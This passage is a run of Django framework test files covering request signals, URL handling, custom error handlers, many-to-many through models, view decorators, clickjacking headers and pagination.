        self.signals.append('finished')

    def test_request_signals(self):
        response = self.client.get('/regular/')
        self.assertEqual(self.signals, ['started', 'finished'])
        self.assertEqual(response.content, b"regular content")
        self.assertEqual(self.signaled_environ, response.wsgi_request.environ)

    def test_request_signals_streaming_response(self):
        response = self.client.get('/streaming/')
        self.assertEqual(self.signals, ['started'])
        self.assertEqual(b''.join(response.streaming_content), b"streaming content")
        self.assertEqual(self.signals, ['started', 'finished'])


def empty_middleware(get_response):
    pass


@override_settings(ROOT_URLCONF='handlers.urls')
class HandlerRequestTests(SimpleTestCase):

    def test_suspiciousop_in_view_returns_400(self):
        response = self.client.get('/suspicious/')
        self.assertEqual(response.status_code, 400)

    def test_invalid_urls(self):
        response = self.client.get('~%A9helloworld')
        self.assertContains(response, '~%A9helloworld', status_code=404)

        response = self.client.get('d%aao%aaw%aan%aal%aao%aaa%aad%aa/')
        self.assertContains(response, 'd%AAo%AAw%AAn%AAl%AAo%AAa%AAd%AA', status_code=404)

        response = self.client.get('/%E2%99%E2%99%A5/')
        self.assertContains(response, '%E2%99\u2665', status_code=404)

        response = self.client.get('/%E2%98%8E%E2%A9%E2%99%A5/')
        self.assertContains(response, '\u260e%E2%A9\u2665', status_code=404)

    def test_environ_path_info_type(self):
        environ = RequestFactory().get('/%E2%A8%87%87%A5%E2%A8%A0').environ
        self.assertIsInstance(environ['PATH_INFO'], six.text_type)

    @unittest.skipIf(HTTPStatus is None, 'HTTPStatus only exists on Python 3.5+')
    def test_handle_accepts_httpstatus_enum_value(self):
        def start_response(status, headers):
            start_response.status = status

        environ = RequestFactory().get('/httpstatus_enum/').environ
        WSGIHandler()(environ, start_response)
        self.assertEqual(start_response.status, '200 OK')

    @override_settings(MIDDLEWARE=['handlers.tests.empty_middleware'])
    def test_middleware_returns_none(self):
        msg = 'Middleware factory handlers.tests.empty_middleware returned None.'
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            self.client.get('/')


class ScriptNameTests(SimpleTestCase):
    def test_get_script_name(self):
        # Regression test for #23173
        # Test first without PATH_INFO
        script_name = get_script_name({'SCRIPT_URL': '/foobar/'})
        self.assertEqual(script_name, '/foobar/')

        script_name = get_script_name({'SCRIPT_URL': '/foobar/', 'PATH_INFO': '/'})
        self.assertEqual(script_name, '/foobar')

    def test_get_script_name_double_slashes(self):
        """
        WSGI squashes multiple successive slashes in PATH_INFO, get_script_name
        should take that into account when forming SCRIPT_NAME (#17133).
        """
        script_name = get_script_name({
            'SCRIPT_URL': '/mst/milestones//accounts/login//help',
            'PATH_INFO': '/milestones/accounts/login/help',
        })
        self.assertEqual(script_name, '/mst')






from django.conf.urls import url
from django.core.exceptions import PermissionDenied
from django.template.response import TemplateResponse
from django.test import SimpleTestCase, modify_settings, override_settings


class MiddlewareAccessingContent(object):
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        # Response.content should be available in the middleware even with a
        # TemplateResponse-based exception response.
        assert response.content
        return response


def template_response_error_handler(request, exception=None):
    return TemplateResponse(request, 'test_handler.html', status=403)


def permission_denied_view(request):
    raise PermissionDenied


urlpatterns = [
    url(r'^$', permission_denied_view),
]

handler403 = template_response_error_handler


@override_settings(ROOT_URLCONF='handlers.tests_custom_error_handlers')
@modify_settings(MIDDLEWARE={'append': 'handlers.tests_custom_error_handlers.MiddlewareAccessingContent'})
class CustomErrorHandlerTests(SimpleTestCase):

    def test_handler_renders_template_response(self):
        """
        BaseHandler should render TemplateResponse if necessary.
        """
        response = self.client.get('/')
        self.assertContains(response, 'Error handler content', status_code=403)






from __future__ import unicode_literals

from django.contrib.auth.models import User
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# Forward declared intermediate model
@python_2_unicode_compatible
class Membership(models.Model):
    person = models.ForeignKey('Person', models.CASCADE)
    group = models.ForeignKey('Group', models.CASCADE)
    price = models.IntegerField(default=100)

    def __str__(self):
        return "%s is a member of %s" % (self.person.name, self.group.name)


# using custom id column to test ticket #11107
@python_2_unicode_compatible
class UserMembership(models.Model):
    id = models.AutoField(db_column='usermembership_id', primary_key=True)
    user = models.ForeignKey(User, models.CASCADE)
    group = models.ForeignKey('Group', models.CASCADE)
    price = models.IntegerField(default=100)

    def __str__(self):
        return "%s is a user and member of %s" % (self.user.username, self.group.name)


@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=128)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Group(models.Model):
    name = models.CharField(max_length=128)
    # Membership object defined as a class
    members = models.ManyToManyField(Person, through=Membership)
    user_members = models.ManyToManyField(User, through='UserMembership')

    def __str__(self):
        return self.name


# A set of models that use an non-abstract inherited model as the 'through' model.
class A(models.Model):
    a_text = models.CharField(max_length=20)


class ThroughBase(models.Model):
    a = models.ForeignKey(A, models.CASCADE)
    b = models.ForeignKey('B', models.CASCADE)


class Through(ThroughBase):
    extra = models.CharField(max_length=20)


class B(models.Model):
    b_text = models.CharField(max_length=20)
    a_list = models.ManyToManyField(A, through=Through)


# Using to_field on the through model
@python_2_unicode_compatible
class Car(models.Model):
    make = models.CharField(max_length=20, unique=True, null=True)
    drivers = models.ManyToManyField('Driver', through='CarDriver')

    def __str__(self):
        return "%s" % self.make


@python_2_unicode_compatible
class Driver(models.Model):
    name = models.CharField(max_length=20, unique=True, null=True)

    def __str__(self):
        return "%s" % self.name

    class Meta:
        ordering = ('name',)


@python_2_unicode_compatible
class CarDriver(models.Model):
    car = models.ForeignKey('Car', models.CASCADE, to_field='make')
    driver = models.ForeignKey('Driver', models.CASCADE, to_field='name')

    def __str__(self):
        return "pk=%s car=%s driver=%s" % (str(self.pk), self.car, self.driver)












from __future__ import unicode_literals

from django.contrib.auth.models import User
from django.core import management
from django.test import TestCase
from django.utils.six import StringIO

from .models import (
    Car, CarDriver, Driver, Group, Membership, Person, UserMembership,
)


class M2MThroughTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.bob = Person.objects.create(name="Bob")
        cls.jim = Person.objects.create(name="Jim")

        cls.rock = Group.objects.create(name="Rock")
        cls.roll = Group.objects.create(name="Roll")

        cls.frank = User.objects.create_user("frank", "frank@example.com", "password")
        cls.jane = User.objects.create_user("jane", "jane@example.com", "password")

        # normal intermediate model
        cls.bob_rock = Membership.objects.create(person=cls.bob, group=cls.rock)
        cls.bob_roll = Membership.objects.create(person=cls.bob, group=cls.roll, price=50)
        cls.jim_rock = Membership.objects.create(person=cls.jim, group=cls.rock, price=50)

        # intermediate model with custom id column
        cls.frank_rock = UserMembership.objects.create(user=cls.frank, group=cls.rock)
        cls.frank_roll = UserMembership.objects.create(user=cls.frank, group=cls.roll)
        cls.jane_rock = UserMembership.objects.create(user=cls.jane, group=cls.rock)

    def test_retrieve_reverse_m2m_items(self):
        self.assertQuerysetEqual(
            self.bob.group_set.all(), [
                "<Group: Rock>",
                "<Group: Roll>",
            ],
            ordered=False
        )

    def test_retrieve_forward_m2m_items(self):
        self.assertQuerysetEqual(
            self.roll.members.all(), [
                "<Person: Bob>",
            ]
        )

    def test_cannot_use_setattr_on_reverse_m2m_with_intermediary_model(self):
        msg = (
            "Cannot set values on a ManyToManyField which specifies an "
            "intermediary model. Use m2m_through_regress.Membership's Manager "
            "instead."
        )
        with self.assertRaisesMessage(AttributeError, msg):
            self.bob.group_set.set([])

    def test_cannot_use_setattr_on_forward_m2m_with_intermediary_model(self):
        msg = (
            "Cannot set values on a ManyToManyField which specifies an "
            "intermediary model. Use m2m_through_regress.Membership's Manager "
            "instead."
        )
        with self.assertRaisesMessage(AttributeError, msg):
            self.roll.members.set([])

    def test_cannot_use_create_on_m2m_with_intermediary_model(self):
        with self.assertRaises(AttributeError):
            self.rock.members.create(name="Anne")

    def test_cannot_use_create_on_reverse_m2m_with_intermediary_model(self):
        with self.assertRaises(AttributeError):
            self.bob.group_set.create(name="Funk")

    def test_retrieve_reverse_m2m_items_via_custom_id_intermediary(self):
        self.assertQuerysetEqual(
            self.frank.group_set.all(), [
                "<Group: Rock>",
                "<Group: Roll>",
            ],
            ordered=False
        )

    def test_retrieve_forward_m2m_items_via_custom_id_intermediary(self):
        self.assertQuerysetEqual(
            self.roll.user_members.all(), [
                "<User: frank>",
            ]
        )

    def test_join_trimming_forwards(self):
        "Check that we don't involve too many copies of the intermediate table when doing a join. Refs #8046, #8254"
        self.assertQuerysetEqual(
            self.rock.members.filter(membership__price=50), [
                "<Person: Jim>",
            ]
        )

    def test_join_trimming_reverse(self):
        self.assertQuerysetEqual(
            self.bob.group_set.filter(membership__price=50), [
                "<Group: Roll>",
            ]
        )


class M2MThroughSerializationTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.bob = Person.objects.create(name="Bob")
        cls.roll = Group.objects.create(name="Roll")
        cls.bob_roll = Membership.objects.create(person=cls.bob, group=cls.roll)

    def test_serialization(self):
        "m2m-through models aren't serialized as m2m fields. Refs #8134"
        pks = {"p_pk": self.bob.pk, "g_pk": self.roll.pk, "m_pk": self.bob_roll.pk}

        out = StringIO()
        management.call_command("dumpdata", "m2m_through_regress", format="json", stdout=out)
        self.assertJSONEqual(
            out.getvalue().strip(),
            '[{"pk": %(m_pk)s, "model": "m2m_through_regress.membership", "fields": {"person": %(p_pk)s, "price": '
            '100, "group": %(g_pk)s}}, {"pk": %(p_pk)s, "model": "m2m_through_regress.person", "fields": {"name": '
            '"Bob"}}, {"pk": %(g_pk)s, "model": "m2m_through_regress.group", "fields": {"name": "Roll"}}]'
            % pks
        )

        out = StringIO()
        management.call_command("dumpdata", "m2m_through_regress", format="xml", indent=2, stdout=out)
        self.assertXMLEqual(out.getvalue().strip(), """
<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
  <object pk="%(m_pk)s" model="m2m_through_regress.membership">
    <field to="m2m_through_regress.person" name="person" rel="ManyToOneRel">%(p_pk)s</field>
    <field to="m2m_through_regress.group" name="group" rel="ManyToOneRel">%(g_pk)s</field>
    <field type="IntegerField" name="price">100</field>
  </object>
  <object pk="%(p_pk)s" model="m2m_through_regress.person">
    <field type="CharField" name="name">Bob</field>
  </object>
  <object pk="%(g_pk)s" model="m2m_through_regress.group">
    <field type="CharField" name="name">Roll</field>
  </object>
</django-objects>
        """.strip() % pks)


class ToFieldThroughTests(TestCase):
    def setUp(self):
        self.car = Car.objects.create(make="Toyota")
        self.driver = Driver.objects.create(name="Ryan Briscoe")
        CarDriver.objects.create(car=self.car, driver=self.driver)
        # We are testing if wrong objects get deleted due to using wrong
        # field value in m2m queries. So, it is essential that the pk
        # numberings do not match.
        # Create one intentionally unused driver to mix up the autonumbering
        self.unused_driver = Driver.objects.create(name="Barney Gumble")
        # And two intentionally unused cars.
        self.unused_car1 = Car.objects.create(make="Trabant")
        self.unused_car2 = Car.objects.create(make="Wartburg")

    def test_to_field(self):
        self.assertQuerysetEqual(
            self.car.drivers.all(),
            ["<Driver: Ryan Briscoe>"]
        )

    def test_to_field_reverse(self):
        self.assertQuerysetEqual(
            self.driver.car_set.all(),
            ["<Car: Toyota>"]
        )

    def test_to_field_clear_reverse(self):
        self.driver.car_set.clear()
        self.assertQuerysetEqual(
            self.driver.car_set.all(), [])

    def test_to_field_clear(self):
        self.car.drivers.clear()
        self.assertQuerysetEqual(
            self.car.drivers.all(), [])

    # Low level tests for _add_items and _remove_items. We test these methods
    # because .add/.remove aren't available for m2m fields with through, but
    # through is the only way to set to_field currently. We do want to make
    # sure these methods are ready if the ability to use .add or .remove with
    # to_field relations is added some day.
    def test_add(self):
        self.assertQuerysetEqual(
            self.car.drivers.all(),
            ["<Driver: Ryan Briscoe>"]
        )
        # Yikes - barney is going to drive...
        self.car.drivers._add_items('car', 'driver', self.unused_driver)
        self.assertQuerysetEqual(
            self.car.drivers.all(),
            ["<Driver: Barney Gumble>", "<Driver: Ryan Briscoe>"]
        )

    def test_add_null(self):
        nullcar = Car.objects.create(make=None)
        with self.assertRaises(ValueError):
            nullcar.drivers._add_items('car', 'driver', self.unused_driver)

    def test_add_related_null(self):
        nulldriver = Driver.objects.create(name=None)
        with self.assertRaises(ValueError):
            self.car.drivers._add_items('car', 'driver', nulldriver)

    def test_add_reverse(self):
        car2 = Car.objects.create(make="Honda")
        self.assertQuerysetEqual(
            self.driver.car_set.all(),
            ["<Car: Toyota>"]
        )
        self.driver.car_set._add_items('driver', 'car', car2)
        self.assertQuerysetEqual(
            self.driver.car_set.all(),
            ["<Car: Toyota>", "<Car: Honda>"],
            ordered=False
        )

    def test_add_null_reverse(self):
        nullcar = Car.objects.create(make=None)
        with self.assertRaises(ValueError):
            self.driver.car_set._add_items('driver', 'car', nullcar)

    def test_add_null_reverse_related(self):
        nulldriver = Driver.objects.create(name=None)
        with self.assertRaises(ValueError):
            nulldriver.car_set._add_items('driver', 'car', self.car)

    def test_remove(self):
        self.assertQuerysetEqual(
            self.car.drivers.all(),
            ["<Driver: Ryan Briscoe>"]
        )
        self.car.drivers._remove_items('car', 'driver', self.driver)
        self.assertQuerysetEqual(
            self.car.drivers.all(), [])

    def test_remove_reverse(self):
        self.assertQuerysetEqual(
            self.driver.car_set.all(),
            ["<Car: Toyota>"]
        )
        self.driver.car_set._remove_items('driver', 'car', self.car)
        self.assertQuerysetEqual(
            self.driver.car_set.all(), [])


class ThroughLoadDataTestCase(TestCase):
    fixtures = ["m2m_through"]

    def test_sequence_creation(self):
        """
        Sequences on an m2m_through are created for the through model, not a
        phantom auto-generated m2m table (#11107).
        """
        out = StringIO()
        management.call_command("dumpdata", "m2m_through_regress", format="json", stdout=out)
        self.assertJSONEqual(
            out.getvalue().strip(),
            '[{"pk": 1, "model": "m2m_through_regress.usermembership", "fields": {"price": 100, "group": 1, "user"'
            ': 1}}, {"pk": 1, "model": "m2m_through_regress.person", "fields": {"name": "Guido"}}, {"pk": 1, '
            '"model": "m2m_through_regress.group", "fields": {"name": "Python Core Group"}}]'
        )












from functools import update_wrapper, wraps
from unittest import TestCase

from django.contrib.admin.views.decorators import staff_member_required
from django.contrib.auth.decorators import (
    login_required, permission_required, user_passes_test,
)
from django.http import HttpRequest, HttpResponse, HttpResponseNotAllowed
from django.middleware.clickjacking import XFrameOptionsMiddleware
from django.test import SimpleTestCase
from django.utils import six
from django.utils.decorators import method_decorator
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.utils.functional import allow_lazy, keep_lazy, keep_lazy_text, lazy
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy
from django.views.decorators.cache import (
    cache_control, cache_page, never_cache,
)
from django.views.decorators.clickjacking import (
    xframe_options_deny, xframe_options_exempt, xframe_options_sameorigin,
)
from django.views.decorators.http import (
    condition, require_GET, require_http_methods, require_POST, require_safe,
)
from django.views.decorators.vary import vary_on_cookie, vary_on_headers


def fully_decorated(request):
    """Expected __doc__"""
    return HttpResponse('<html><body>dummy</body></html>')
fully_decorated.anything = "Expected __dict__"


def compose(*functions):
    # compose(f, g)(*args, **kwargs) == f(g(*args, **kwargs))
    functions = list(reversed(functions))

    def _inner(*args, **kwargs):
        result = functions[0](*args, **kwargs)
        for f in functions[1:]:
            result = f(result)
        return result
    return _inner


full_decorator = compose(
    # django.views.decorators.http
    require_http_methods(["GET"]),
    require_GET,
    require_POST,
    require_safe,
    condition(lambda r: None, lambda r: None),

    # django.views.decorators.vary
    vary_on_headers('Accept-language'),
    vary_on_cookie,

    # django.views.decorators.cache
    cache_page(60 * 15),
    cache_control(private=True),
    never_cache,

    # django.contrib.auth.decorators
    # Apply user_passes_test twice to check #9474
    user_passes_test(lambda u: True),
    login_required,
    permission_required('change_world'),

    # django.contrib.admin.views.decorators
    staff_member_required,

    # django.utils.functional
    keep_lazy(HttpResponse),
    keep_lazy_text,
    lazy,

    # django.utils.safestring
    mark_safe,
)

fully_decorated = full_decorator(fully_decorated)


class DecoratorsTest(TestCase):

    def test_attributes(self):
        """
        Tests that django decorators set certain attributes of the wrapped
        function.
        """
        self.assertEqual(fully_decorated.__name__, 'fully_decorated')
        self.assertEqual(fully_decorated.__doc__, 'Expected __doc__')
        self.assertEqual(fully_decorated.__dict__['anything'], 'Expected __dict__')

    def test_user_passes_test_composition(self):
        """
        Test that the user_passes_test decorator can be applied multiple times
        (#9474).
        """
        def test1(user):
            user.decorators_applied.append('test1')
            return True

        def test2(user):
            user.decorators_applied.append('test2')
            return True

        def callback(request):
            return request.user.decorators_applied

        callback = user_passes_test(test1)(callback)
        callback = user_passes_test(test2)(callback)

        class DummyUser(object):
            pass

        class DummyRequest(object):
            pass

        request = DummyRequest()
        request.user = DummyUser()
        request.user.decorators_applied = []
        response = callback(request)

        self.assertEqual(response, ['test2', 'test1'])

    def test_cache_page_new_style(self):
        """
        Test that we can call cache_page the new way
        """
        def my_view(request):
            return "response"
        my_view_cached = cache_page(123)(my_view)
        self.assertEqual(my_view_cached(HttpRequest()), "response")
        my_view_cached2 = cache_page(123, key_prefix="test")(my_view)
        self.assertEqual(my_view_cached2(HttpRequest()), "response")

    def test_require_safe_accepts_only_safe_methods(self):
        """
        Test for the require_safe decorator.
        A view returns either a response or an exception.
        Refs #15637.
        """
        def my_view(request):
            return HttpResponse("OK")
        my_safe_view = require_safe(my_view)
        request = HttpRequest()
        request.method = 'GET'
        self.assertIsInstance(my_safe_view(request), HttpResponse)
        request.method = 'HEAD'
        self.assertIsInstance(my_safe_view(request), HttpResponse)
        request.method = 'POST'
        self.assertIsInstance(my_safe_view(request), HttpResponseNotAllowed)
        request.method = 'PUT'
        self.assertIsInstance(my_safe_view(request), HttpResponseNotAllowed)
        request.method = 'DELETE'
        self.assertIsInstance(my_safe_view(request), HttpResponseNotAllowed)

    def test_deprecated_allow_lazy(self):
        with self.assertRaises(RemovedInDjango20Warning):
            def noop_text(text):
                return force_text(text)
            noop_text = allow_lazy(noop_text, six.text_type)
            rendered = noop_text(ugettext_lazy("I am a text"))
            self.assertEqual(type(rendered), six.text_type)
            self.assertEqual(rendered, "I am a text")


# For testing method_decorator, a decorator that assumes a single argument.
# We will get type arguments if there is a mismatch in the number of arguments.
def simple_dec(func):
    def wrapper(arg):
        return func("test:" + arg)
    return wraps(func)(wrapper)

simple_dec_m = method_decorator(simple_dec)


# For testing method_decorator, two decorators that add an attribute to the function
def myattr_dec(func):
    def wrapper(*args, **kwargs):
        return func(*args, **kwargs)
    wrapper.myattr = True
    return wraps(func)(wrapper)

myattr_dec_m = method_decorator(myattr_dec)


def myattr2_dec(func):
    def wrapper(*args, **kwargs):
        return func(*args, **kwargs)
    wrapper.myattr2 = True
    return wraps(func)(wrapper)

myattr2_dec_m = method_decorator(myattr2_dec)


class ClsDec(object):
    def __init__(self, myattr):
        self.myattr = myattr

    def __call__(self, f):

        def wrapped():
            return f() and self.myattr
        return update_wrapper(wrapped, f)


class MethodDecoratorTests(SimpleTestCase):
    """
    Tests for method_decorator
    """
    def test_preserve_signature(self):
        class Test(object):
            @simple_dec_m
            def say(self, arg):
                return arg

        self.assertEqual("test:hello", Test().say("hello"))

    def test_preserve_attributes(self):
        # Sanity check myattr_dec and myattr2_dec
        @myattr_dec
        @myattr2_dec
        def func():
            pass

        self.assertIs(getattr(func, 'myattr', False), True)
        self.assertIs(getattr(func, 'myattr2', False), True)

        # Decorate using method_decorator() on the method.
        class TestPlain(object):
            @myattr_dec_m
            @myattr2_dec_m
            def method(self):
                "A method"
                pass

        # Decorate using method_decorator() on both the class and the method.
        # The decorators applied to the methods are applied before the ones
        # applied to the class.
        @method_decorator(myattr_dec_m, "method")
        class TestMethodAndClass(object):
            @method_decorator(myattr2_dec_m)
            def method(self):
                "A method"
                pass

        # Decorate using an iterable of decorators.
        decorators = (myattr_dec_m, myattr2_dec_m)

        @method_decorator(decorators, "method")
        class TestIterable(object):
            def method(self):
                "A method"
                pass

        for Test in (TestPlain, TestMethodAndClass, TestIterable):
            self.assertIs(getattr(Test().method, 'myattr', False), True)
            self.assertIs(getattr(Test().method, 'myattr2', False), True)

            self.assertIs(getattr(Test.method, 'myattr', False), True)
            self.assertIs(getattr(Test.method, 'myattr2', False), True)

            self.assertEqual(Test.method.__doc__, 'A method')
            self.assertEqual(Test.method.__name__, 'method')

    def test_bad_iterable(self):
        decorators = {myattr_dec_m, myattr2_dec_m}
        # The rest of the exception message differs between Python 2 and 3.
        with self.assertRaisesMessage(TypeError, "'set' object"):
            @method_decorator(decorators, "method")
            class TestIterable(object):
                def method(self):
                    "A method"
                    pass

    # Test for argumented decorator
    def test_argumented(self):
        class Test(object):
            @method_decorator(ClsDec(False))
            def method(self):
                return True

        self.assertIs(Test().method(), False)

    def test_descriptors(self):

        def original_dec(wrapped):
            def _wrapped(arg):
                return wrapped(arg)

            return _wrapped

        method_dec = method_decorator(original_dec)

        class bound_wrapper(object):
            def __init__(self, wrapped):
                self.wrapped = wrapped
                self.__name__ = wrapped.__name__

            def __call__(self, arg):
                return self.wrapped(arg)

            def __get__(self, instance, cls=None):
                return self

        class descriptor_wrapper(object):
            def __init__(self, wrapped):
                self.wrapped = wrapped
                self.__name__ = wrapped.__name__

            def __get__(self, instance, cls=None):
                return bound_wrapper(self.wrapped.__get__(instance, cls))

        class Test(object):
            @method_dec
            @descriptor_wrapper
            def method(self, arg):
                return arg

        self.assertEqual(Test().method(1), 1)

    def test_class_decoration(self):
        """
        @method_decorator can be used to decorate a class and its methods.
        """
        def deco(func):
            def _wrapper(*args, **kwargs):
                return True
            return _wrapper

        @method_decorator(deco, name="method")
        class Test(object):
            def method(self):
                return False

        self.assertTrue(Test().method())

    def test_tuple_of_decorators(self):
        """
        @method_decorator can accept a tuple of decorators.
        """
        def add_question_mark(func):
            def _wrapper(*args, **kwargs):
                return func(*args, **kwargs) + "?"
            return _wrapper

        def add_exclamation_mark(func):
            def _wrapper(*args, **kwargs):
                return func(*args, **kwargs) + "!"
            return _wrapper

        # The order should be consistent with the usual order in which
        # decorators are applied, e.g.
        #    @add_exclamation_mark
        #    @add_question_mark
        #    def func():
        #        ...
        decorators = (add_exclamation_mark, add_question_mark)

        @method_decorator(decorators, name="method")
        class TestFirst(object):
            def method(self):
                return "hello world"

        class TestSecond(object):
            @method_decorator(decorators)
            def method(self):
                return "hello world"

        self.assertEqual(TestFirst().method(), "hello world?!")
        self.assertEqual(TestSecond().method(), "hello world?!")

    def test_invalid_non_callable_attribute_decoration(self):
        """
        @method_decorator on a non-callable attribute raises an error.
        """
        msg = (
            "Cannot decorate 'prop' as it isn't a callable attribute of "
            "<class 'Test'> (1)"
        )
        with self.assertRaisesMessage(TypeError, msg):
            @method_decorator(lambda: None, name="prop")
            class Test(object):
                prop = 1

                @classmethod
                def __module__(cls):
                    return "tests"

    def test_invalid_method_name_to_decorate(self):
        """
        @method_decorator on a nonexistent method raises an error.
        """
        msg = (
            "The keyword argument `name` must be the name of a method of the "
            "decorated class: <class 'Test'>. Got 'non_existing_method' instead"
        )
        with self.assertRaisesMessage(ValueError, msg):
            @method_decorator(lambda: None, name="non_existing_method")
            class Test(object):
                @classmethod
                def __module__(cls):
                    return "tests"


class XFrameOptionsDecoratorsTests(TestCase):
    """
    Tests for the X-Frame-Options decorators.
    """
    def test_deny_decorator(self):
        """
        Ensures @xframe_options_deny properly sets the X-Frame-Options header.
        """
        @xframe_options_deny
        def a_view(request):
            return HttpResponse()
        r = a_view(HttpRequest())
        self.assertEqual(r['X-Frame-Options'], 'DENY')

    def test_sameorigin_decorator(self):
        """
        Ensures @xframe_options_sameorigin properly sets the X-Frame-Options
        header.
        """
        @xframe_options_sameorigin
        def a_view(request):
            return HttpResponse()
        r = a_view(HttpRequest())
        self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

    def test_exempt_decorator(self):
        """
        Ensures @xframe_options_exempt properly instructs the
        XFrameOptionsMiddleware to NOT set the header.
        """
        @xframe_options_exempt
        def a_view(request):
            return HttpResponse()
        req = HttpRequest()
        resp = a_view(req)
        self.assertIsNone(resp.get('X-Frame-Options', None))
        self.assertTrue(resp.xframe_options_exempt)

        # Since the real purpose of the exempt decorator is to suppress
        # the middleware's functionality, let's make sure it actually works...
        r = XFrameOptionsMiddleware().process_response(req, resp)
        self.assertIsNone(r.get('X-Frame-Options', None))


class NeverCacheDecoratorTest(TestCase):
    def test_never_cache_decorator(self):
        @never_cache
        def a_view(request):
            return HttpResponse()
        r = a_view(HttpRequest())
        self.assertEqual(
            set(r['Cache-Control'].split(', ')),
            {'max-age=0', 'no-cache', 'no-store', 'must-revalidate'},
        )






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100, default='Default headline')
    pub_date = models.DateTimeField()

    def __str__(self):
        return self.headline






from django.core.paginator import Page, Paginator


class ValidAdjacentNumsPage(Page):

    def next_page_number(self):
        if not self.has_next():
            return None
        return super(ValidAdjacentNumsPage, self).next_page_number()

    def previous_page_number(self):
        if not self.has_previous():
            return None
        return super(ValidAdjacentNumsPage, self).previous_page_number()


class ValidAdjacentNumsPaginator(Paginator):

    def _get_page(self, *args, **kwargs):
        return ValidAdjacentNumsPage(*args, **kwargs)












from __future__ import unicode_literals

import unittest
from datetime import datetime

from django.core.paginator import (
    EmptyPage, InvalidPage, PageNotAnInteger, Paginator,
    UnorderedObjectListWarning,
)
from django.test import TestCase
from django.utils import six

from .custom import ValidAdjacentNumsPaginator
from .models import Article


class PaginationTests(unittest.TestCase):
    """
    Tests for the Paginator and Page classes.
    """

    def check_paginator(self, params, output):
        """
        Helper method that instantiates a Paginator object from the passed
        params and then checks that its attributes match the passed output.
        """
        count, num_pages, page_range = output
        paginator = Paginator(*params)
        self.check_attribute('count', paginator, count, params)
        self.check_attribute('num_pages', paginator, num_pages, params)
        self.check_attribute('page_range', paginator, page_range, params, coerce=list)

    def check_attribute(self, name, paginator, expected, params, coerce=None):
        """
        Helper method that checks a single attribute and gives a nice error
        message upon test failure.
        """
        got = getattr(paginator, name)
        if coerce is not None:
            got = coerce(got)
        self.assertEqual(
            expected, got,
            "For '%s', expected %s but got %s.  Paginator parameters were: %s"
            % (name, expected, got, params)
        )

    def test_paginator(self):
        """
        Tests the paginator attributes using varying inputs.
        """
        nine = [1, 2, 3, 4, 5, 6, 7, 8, 9]
        ten = nine + [10]
        eleven = ten + [11]
        tests = (
            # Each item is two tuples:
            #     First tuple is Paginator parameters - object_list, per_page,
            #         orphans, and allow_empty_first_page.
            #     Second tuple is resulting Paginator attributes - count,
            #         num_pages, and page_range.
            # Ten items, varying orphans, no empty first page.
            ((ten, 4, 0, False), (10, 3, [1, 2, 3])),
            ((ten, 4, 1, False), (10, 3, [1, 2, 3])),
            ((ten, 4, 2, False), (10, 2, [1, 2])),
            ((ten, 4, 5, False), (10, 2, [1, 2])),
            ((ten, 4, 6, False), (10, 1, [1])),
            # Ten items, varying orphans, allow empty first page.
            ((ten, 4, 0, True), (10, 3, [1, 2, 3])),
            ((ten, 4, 1, True), (10, 3, [1, 2, 3])),
            ((ten, 4, 2, True), (10, 2, [1, 2])),
            ((ten, 4, 5, True), (10, 2, [1, 2])),
            ((ten, 4, 6, True), (10, 1, [1])),
            # One item, varying orphans, no empty first page.
            (([1], 4, 0, False), (1, 1, [1])),
            (([1], 4, 1, False), (1, 1, [1])),
            (([1], 4, 2, False), (1, 1, [1])),
            # One item, varying orphans, allow empty first page.
            (([1], 4, 0, True), (1, 1, [1])),
            (([1], 4, 1, True), (1, 1, [1])),
            (([1], 4, 2, True), (1, 1, [1])),
            # Zero items, varying orphans, no empty first page.
            (([], 4, 0, False), (0, 0, [])),
            (([], 4, 1, False), (0, 0, [])),
            (([], 4, 2, False), (0, 0, [])),
            # Zero items, varying orphans, allow empty first page.
            (([], 4, 0, True), (0, 1, [1])),
            (([], 4, 1, True), (0, 1, [1])),
            (([], 4, 2, True), (0, 1, [1])),
            # Number if items one less than per_page.
            (([], 1, 0, True), (0, 1, [1])),
            (([], 1, 0, False), (0, 0, [])),
            (([1], 2, 0, True), (1, 1, [1])),
            ((nine, 10, 0, True), (9, 1, [1])),
            # Number if items equal to per_page.
            (([1], 1, 0, True), (1, 1, [1])),
            (([1, 2], 2, 0, True), (2, 1, [1])),
            ((ten, 10, 0, True), (10, 1, [1])),
            # Number if items one more than per_page.
            (([1, 2], 1, 0, True), (2, 2, [1, 2])),
            (([1, 2, 3], 2, 0, True), (3, 2, [1, 2])),
            ((eleven, 10, 0, True), (11, 2, [1, 2])),
            # Number if items one more than per_page with one orphan.
            (([1, 2], 1, 1, True), (2, 1, [1])),
            (([1, 2, 3], 2, 1, True), (3, 1, [1])),
            ((eleven, 10, 1, True), (11, 1, [1])),
            # Non-integer inputs
            ((ten, '4', 1, False), (10, 3, [1, 2, 3])),
            ((ten, '4', 1, False), (10, 3, [1, 2, 3])),
            ((ten, 4, '1', False), (10, 3, [1, 2, 3])),
            ((ten, 4, '1', False), (10, 3, [1, 2, 3])),
        )
        for params, output in tests:
            self.check_paginator(params, output)

    def test_invalid_page_number(self):
        """
        Tests that invalid page numbers result in the correct exception being
        raised.
        """
        paginator = Paginator([1, 2, 3], 2)
        with self.assertRaises(InvalidPage):
            paginator.page(3)
        with self.assertRaises(PageNotAnInteger):
            paginator.validate_number(None)
        with self.assertRaises(PageNotAnInteger):
            paginator.validate_number('x')
        # With no content and allow_empty_first_page=True, 1 is a valid page number
        paginator = Paginator([], 2)
        self.assertEqual(paginator.validate_number(1), 1)

    def test_paginate_misc_classes(self):
        class CountContainer(object):
            def count(self):
                return 42
        # Paginator can be passed other objects with a count() method.
        paginator = Paginator(CountContainer(), 10)
        self.assertEqual(42, paginator.count)
        self.assertEqual(5, paginator.num_pages)
        self.assertEqual([1, 2, 3, 4, 5], list(paginator.page_range))

        # Paginator can be passed other objects that implement __len__.
